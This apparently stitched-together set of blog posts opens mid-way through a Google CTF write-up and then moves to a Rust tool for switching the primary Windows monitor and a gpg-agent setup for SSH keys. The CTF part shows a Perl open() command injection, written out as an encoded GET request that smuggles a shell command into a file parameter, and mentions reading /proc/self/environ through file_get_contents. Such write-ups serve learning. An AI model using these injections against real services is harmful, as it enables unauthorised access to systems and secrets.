While turning off cheating helped quite a bit, the thinking time parameter did not seem to do much for us. According to the documentation of the stockfish engine, setting it to -1 is supposed to turn off thinking altogether and just use the next best move. While this might actually be the case, I was still too bad at chess to beat the AI (however, I heard from others that without the cheats they were able to win the game and get the flag).

Custom starting boards... This time for real!

After some thinking, a really funny thought came to my mind. What if the file loading functionality of the load_board.php script actually supports loading from URLs? Might be worth a shot. And indeed, looking at the source code we see this:

if (isset($_POST['filename'])) {
  $fen = trim(file_get_contents($_POST['filename']));
  # XXX: Debug remove this
  echo 'Loading Fen: '. $fen;
}

Thanks to Mr. XXX, who forgot to remove the debug code, we were able to see the source code of this function in the first place. But now, we can actually validate that this script uses file_get_contents, which supports loading from URLs.

So to actually attempt this hack, we used this tool to build our own .fen file. This was then uploaded to an anonymous pastebin and put into the filename parameter. Now by calling this script with the aforementioned parameters, we initialize a new session. When we now load the index.php file with the session cookie from load_board.php we are presented with our custom board!

Interestingly we weren't able to beat the AI: As soon as we set the opponent "mate" (so that his king cannot move anymore), the AI didn't react anymore but we also didn't get any winning message. Turns out, I didn't quite remember what a checkmate was. Luckily the chess PHP library is pretty well written and explains the conditions very well:

    public function inCheck(): bool
    {
        return $this->kingAttacked($this->turn);
    }

    public function inCheckmate(): bool
    {
        return $this->inCheck() && \count($this->generateMoves()) === 0;
    }

I actually set the opponent in a stalemate, which is not handled in the code. After adding additional pieces to our starting board so that we are attacking the opponent's king, the winning message containing the flag (a URL) popped up!

Later we discovered that we just could have used the load_board.php script to extract the flag from the /proc/self/environ file.

Challenge 02: Aurora

Hints:

• Look at the code
• You only need one file

The second challenge of episode 00 presents a search engine that can be used to see the lines of several pre-determined logfiles that contain keywords (consisting of at least four characters).

A quick look into the HTML source code reveals a JavaScript function that performs GET requests in the form of: https://aurora-web.h4ck.ctfcompetition.com/?file={filename}&term={term}.

An interesting comment in the last line of that file also catches my eye: <!-- /src.txt -->. This leads us to the source code of the backend, which is written in Perl: https://aurora-web.h4ck.ctfcompetition.com/src.txt

I have zero experience with Perl, so let's hope that we do not have to find an exploit in the code itself! My first assumption (and hope) was that I could exploit the search tool to find some information about the system. I even wrote a small script to search important keywords through all files. But after spending way too much time slowly revealing the contents of the files, I gave up (and should have sooner).

Another friend of mine actually gave me a hint:

The Perl open() function is very powerful.

Turns out the open function can be used to execute Linux commands! Oh, dear a RCE challenge!

With that info, I now could run any command on that system (well not quite, Google designed the challenge with care, and only some stuff actually works)! So let's have a look at the file system with ls:

We still need to make sure that the response contains four characters that contain our search term. This is easy: We just echo a string, which we then search for: echo owned: $(ls).

Now to execute it in the open() command we need to wrap it in some Perl syntax: ; echo owned: $(ls /) |. After encoding this with the JavaScript escape() function, we are ready to go! The get request looks like this:

GET https://aurora-web.h4ck.ctfcompetition.com/?file=%3B%20echo%20owned%3A%20%24%28ls%20/%29%20%7C&term=owned

Resulting in:

owned: bin boot dev etc flag home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var web-apps

Wait a minute! /flag is not typically found on a Linux file system! This flag file contains a URL that leads to the hacking challenge's website and marks the challenge as completed.

Conclusion

This was a very fun challenge! It's well-designed - with a lot of distractions and hints. But this is only the first episode of five, containing three challenges each. You can read my write-up for the next episode over here.

Episode Overview:

• Episode 0
• Episode 1
• Episode 2
• Episode 3
• Episode 4
• Episode 5

There are great tools like MultiMonitorTool that already provide this functionality, but they come with a lot of UI and utilities, that I don't need - I want a lightweight tool that I can include in my automated Windows setup.

I did some research and found various blog articles and forum entries about how to change the primary display. They (e.g. here and here) suggest to use the ChangeDisplaySettingsEx call to the user API (winuser.h).

After some testing, I just couldn't get it to work even though it's supposed to be one simple call to the winuser library. So I used API Monitor to see what API calls MultiMonitorTool makes. There are more than 50 calls to the winuser APIs alone. But I eventually found the ChangeDisplaySettingsEx call and tried to replicate its content exactly (even byte by byte) - still no success.

After some more research and having a look at random source code snippets from GitHub, I finally found out how to change the primary monitor properly - and it's way more complicated than I could have ever imagined.

So before diving into the details - here it is: displays - a lightweight CLI tool and Rust library to change display properties like primary display, resolution and orientation. I developed the application in Rust using the winsafe crate, which basically creates a safe wrapper around the Windows API. However, I had to contribute various changes to that crate in order to implement the following API calls.

I am by no means an expert with regard to the Windows API. There are probably other calls that work as well and simplify some things. But I wanted to keep the tool generic so that it can be used to change the orientation, resolution, primary etc of any amount of monitors connected. So let's get started:

First, you have to find out the identifier of the display you want to make the new primary. In order to do that, you have to call EnumDisplayDevices multiple times with an increasing counter as a parameter in a loop. Stop looping as soon as a call returns an error.

After that, you can call EnumDisplaySettings (or the Ex version) by passing the identifier to retrieve the so-called DEVMODE structure. This struct contains information about the display, like position, which is required for the following calls.

Now we are finally ready to call ChangeDisplaySettingsEx, right? Turns out you need to call this for every display that is connected and active (I will elaborate on the reason for this later), which means you also gotta call EnumDisplaySettings for every monitor. Finally, we can execute the program... And nothing happens.

Turns out you have to call ChangeDisplaySettingsEx one more time while passing NULL to every parameter, in order to actually "commit" the changes (the monitor will flicker and apply the new properties afterwards).

MultiMonitorTool does it the same way (other than it issues some additional calls, that are not important for this) - so did we solve the problem? Nope, still doesn't work 😐. After comparing the parameters of other's tools' calls as well as mine', I noticed that the position properties of the ChangeDisplaySettingsEx call are different.

And here comes the weird part: The values change depending on which monitor I set as primary. So there is clearly some magic happening, that calculates new position values. This seems to be the difference between the other's approach and my broken one.

Finally, I found a hint in some Chinese codebase that hinted at the virtual screen model that Windows uses. Turns out that the primary display also defines the origin of the coordinate system that the other monitors use when specifying the position. So instead of just passing the position from the EnumDisplaySettings call, we need to recalculate it accordingly for each active display. To figure that out took me waaay to long - I wish Microsoft had some information about this in their documentation.

Implementing this is not hard: The new primary display always is located at position (0, 0). The other ones should be moved by the negative position of the old primary display to align them to the new origin:

new_display_position = -old_primary_position + old_display_position;

And voila - it works just fine now.

🙃

Feel free to check out the code on GitHub or get the tool from crates.io or Chocolatey.

Edit: Apparently there is a new API that simplifies this process (docs)

I always just used some zsh ssh-agent plugin or had eval ssh-agent in my .bashrc, totally unaware of the fact that this is a very suboptimal solution...

SSH keys

When connecting to a server using SSH or pushing your changes to a git server, you have to authenticate yourself using an SSH key. Git also allows HTTP authentication using a password, but you definitely should use SSH. SSH keys also should have a non-empty passphrase as an additional layer of security. If somebody steals your key (the file on your hard drive), they won't be able to use it without your passphrase.

You also might want to digitally sign messages and git commits with GPG, which also requires a password-protected key. Now, when actually signing a commit or connecting to a remote server using SSH, you have to enter the passphrase to your key. This is annoying if you have a long secure passphrase and use that very often.

ssh-agent

ssh-agent solves this problem: It creates a Linux socket that offers your ssh client access to your keys. It is started with the command ssh-agent, which returns a path to the socket: After adding this path to the environment variables you can use ssh-add <path of your ssh key> to add your SSH key to the "cache" (you can list your added SSL keys with ssh-add -l).

Most instructions online, will tell you to add something like eval "$(ssh-agent -s)" to your .bashrc file or similar. You might have already noticed that executing ssh-agent will give you a new socket every time you execute that command. Meaning with every shell session you now start, you will spawn a new ssh-agent: You will also have to enter your passphrase once per session. There has to be a better way, right? Right?!

As ysh7 pointed out, it is also possible to set a custom socket path using the flag -a bind_address and then set the environment variable SSH_AUTH_SOCK to that same value. ssh-agent can then be started as systemd service as described here.

keychain, ssh-find-agent, zsh ssh-agent, bash scripts...

Jon Cairns wrote a similar article about this problem and presented a solution: A script that tries to find and reuse existing ssh-agents. There are multiple scripts with similar approaches all written in bash: ssh_find_agent, zsh-ssh-agent, and the most popular one: keychain. (And later, I also discovered envoy). But being bash scripts, they are hard to read, not really fast, and make debugging a hell. I used keychain successfully until I encountered a problem that I wasn't able to understand. Also, those tools depend heavily on ssh-agent and ssh-add instead of using the socket directly.

I was ready to implement something similar to keychain in Rust

I then actually sat down and implemented a prototype of my SSH/GPG agent manager in Rust, which forced me to really understand the tooling around SSH keys. But there was a problem I could not solve: Every time I restarted my environment (in my case WSL), I had to reenter all my passphrases to all the keys even if I wouldn't need them.

gpg-agent to the rescue

After some reading through the confusing docs of different (outdated) versions of gpg-agent (yes, not ssh-agent), I finally found a working solution: Apparently gpg-agent uses its own socket and works way smarter than ssh-agent. Luckily gpg-agent has support to also manage your ssh keys (and, of course, also manages your gpg keys)!

I don't fully understand the design decision behind ssh-agent, which prints fairly essential information out as executable code and doesn't update the current shell with the required environment variables; that just seems a bit bizarre to me. - Jon Cairns

So how do we use it, then? First of all, you need GnuPG, which installs the necessary tools. Sadly there is still no all-in-one version, but GpuPG comes with everything we need.

Now put the line enable-ssh-support into your ~/.gnupg/gpgagent.conf (create it, if it does not exist). You can also specify a timeout by adding the following lines:

## 1-day timeout
default-cache-ttl 86400
max-cache-ttl 86400

Then add the following lines to your .bashrc, .zshrc or whatever you are using:

export GPG_TTY=$(tty)
gpg-connect-agent --quiet updatestartuptty /bye >/dev/null
export SSH_AUTH_SOCK=$(gpgconf --list-dirs agent-ssh-socket)

GnuPG uses pinentry, which allows it to create the console UI asking for your password. This dialog system requires the GPG_TTY environment variable to be pointing at your current tty. The next line starting with gpg-connect-agent starts the gpg-agent as a demon in the background if it is not already running and tells it to use your current terminal for those UI dialogues. Since it always outputs "OK", even when we specify --quiet, we forward the output into /dev/null to hide it. Finally, we use gpgconf to tell SSH where the socket of gpg-agent is located and export it to the environment (so now we use a socket managed by gpg-agent and not ssh-agent anymore).

If you use multiple terminal sessions at once for a longer time, it can happen to you that the prompt asking for your ssh password appears on the wrong terminal session. This can be fixed by adding the following line to the ssh config:

Match host * exec "gpg-connect-agent UPDATESTARTUPTTY /bye”

Conclusion

This is exactly what I have been looking for. I wish I had explored gpg-agent sooner. Now my shell asks me only once when using specific keys for the first time. The dialogue looks like this:

The only downside I see with this approach is that we have to call two commands (gpg-connect-agent and gpgconf) every time we launch a new shell. But this is fine, as they are really fast:

gpg-connect-agent --quiet updatestartuptty /bye > /dev/null  0.00s user 0.00s system 60% cpu 0.004 total
gpgconf --list-dirs agent-ssh-socket  0.00s user 0.00s system 89% cpu 0.001 total

If you want to have a look at my dotfiles, feel free to do so. Thanks for reading!